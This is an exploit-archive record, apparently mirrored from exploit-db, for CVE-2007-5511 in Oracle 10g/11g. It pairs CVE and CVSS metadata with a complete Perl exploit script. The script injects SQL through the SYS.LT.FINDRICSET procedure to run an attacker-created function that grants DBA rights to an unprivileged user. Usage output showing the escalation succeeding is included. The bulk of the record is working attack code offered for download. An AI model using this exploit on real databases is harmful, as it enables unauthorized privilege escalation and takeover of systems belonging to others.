{"exploit":{"id":"EDB-4570","name":"Oracle 10g/11g - 'SYS.LT.FINDRICSET' SQL Injection (SQLi) (1)","description":"Oracle 10g/11g - 'SYS.LT.FINDRICSET' SQL Injection (SQLi) (1)","cves":["CVE-2007-5511"],"author":"bunker","published":"2007-10-27","platform":"multiple","type":"local","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/4570","path":"exploits/multiple/local/4570.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-4570.pl","vulnerabilities":[{"id":"CVE-2007-5511","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in Workspace Manager for Oracle Database before OWM 10.2.0.4.1, OWM 10.1.0.8.0, and OWM 9.2.0.8.0 allows attackers to execute arbitrary SQL commands via the FINDRICSET procedure in the LT package. NOTE: this is probably covered by CVE-2007-5510, but there are insufficient details to be certain.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-5511","cvss":{"version":"2.0","baseScore":6.5,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-5511"},"updatedAt":"2024-08-07T15:31:58.829Z","retrievedAt":"2026-11-26T12:38:44.213Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-4570.png?v=2","url":"https://exploitbin.com/exploits/EDB-4570","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-4570/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-4570/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# http://rawlab.mindcreations.com/codes/exp/oracle/sys-lt-findricset.pl\n#\n# Oracle SYS.LT.FINDRICSET exploit (11g/10g)\n#\n# Grant or revoke dba permission to unprivileged user\n#\n# Tested on \"Oracle Database 10g Enterprise Edition Release 10.1.0.5.0\"\n#\n# Fixed with CPU Oct. 2007\n#\n#   REF:    Thanks to Joxean Koret and his excellent Inguma\n#\t    http://sourceforge.net/projects/inguma\n#\n#   AUTHOR: Andrea \"bunker\" Purificato\n#           http://rawlab.mindcreations.com\n#\n#   DATE:   Copyright 2007 - Fri Oct 26 15:03:46 CEST 2007\n#\n# Oracle InstantClient (basic + sdk) required for DBD::Oracle\n#\n#\n# bunker@fin:~$ perl sys-lt-findricset.pl -h localhost -s FAKE -u sfigato -p **** -r\n#  [-] Wait...\n#  [-] Revoking DBA from SFIGATO...\n#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement \"REVOKE DBA FROM SFIGATO\"] at sys-lt-findricset.pl line 86.\n#  [-] Done!\n#\n# bunker@fin:~$ perl sys-lt-findricset.pl -h localhost -s FAKE -u sfigato -p **** -g\n#  [-] Wait...\n#  [-] Creating evil function...\n#  [-] Go...\n#  [-] YOU GOT THE POWAH!!\n#\n# bunker@fin:~$ perl sys-lt-findricset.pl -h localhost -s FAKE -u sfigato -p **** -r\n#  [-] Wait...\n#  [-] Revoking DBA from SFIGATO...\n#  [-] Done!\n#\n\nuse warnings;\nuse strict;\nuse DBI;\nuse Getopt::Std;\nuse vars qw/ %opt /;\n\nsub usage {\n    print <<\"USAGE\";\n\nSyntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]\n\nOptions:\n     -h     <host>     target server address\n     -s     <sid>      target sid name\n     -u     <user>     user\n     -p     <passwd>   password\n\n     -g|-r             (g)rant dba to user | (r)evoke dba from user\n    [-P     <port>     Oracle port]\n\nUSAGE\n    exit 0\n}\n\nmy $opt_string = 'h:s:u:p:grP:';\ngetopts($opt_string, \\%opt) or &usage;\n&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );\n&usage if ( !$opt{g} and !$opt{r} );\nmy $user = uc $opt{u};\n\nmy $dbh = undef;\nif ($opt{P}) {\n    $dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}\", $opt{u}, $opt{p}) or die;\n} else {\n    $dbh = DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s}\", $opt{u}, $opt{p}) or die;\n}\n\nmy $sqlcmd = \"GRANT DBA TO $user\";\nprint \"[-] Wait...\\n\";\n\nif ($opt{r}) {\n    print \"[-] Revoking DBA from $user...\\n\";\n    $sqlcmd = \"REVOKE DBA FROM $user\";\n    $dbh->do( $sqlcmd );\n    print \"[-] Done!\\n\";\n    $dbh->disconnect;\n    exit;\n}\n\nprint \"[-] Creating evil function...\\n\";\n$dbh->do( qq{\nCREATE OR REPLACE FUNCTION OWN RETURN NUMBER\n AUTHID CURRENT_USER AS\n PRAGMA AUTONOMOUS_TRANSACTION;\nBEGIN\n EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;\n RETURN(0);\nEND;\n} );\n\nprint \"[-] Go...\\n\";\nmy $sth = $dbh->prepare( qq{\nBEGIN\n  SYS.LT.FINDRICSET('.''||$user.own||'''')--','x');\nEND;});\n$sth->execute;\n$sth->finish;\nprint \"[-] YOU GOT THE POWAH!!\\n\";\n$dbh->disconnect;\nexit;\n\n# milw0rm.com [2007-10-27]","sha256":"25c8d8e9676f5abe4e80b828e4e2a1e0e43c583fc7a4be1bdec0bd0568b6b0f6","bytes":2847,"fetchedAt":"2026-11-27T02:10:52.383Z","encoding":"utf-8 (display only; download retains original bytes)"}